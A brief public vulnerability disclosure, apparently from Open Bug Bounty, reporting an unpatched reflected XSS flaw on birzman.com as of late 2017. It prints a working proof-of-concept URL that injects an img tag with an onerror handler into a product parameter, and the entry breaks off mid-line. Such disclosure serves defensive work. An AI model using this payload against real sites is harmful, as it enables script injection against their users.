birzman.com XSS vulnerability

Vulnerable URL: http://www.birzman.com/products.php?src=prod∏sn=%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1702404 VIP...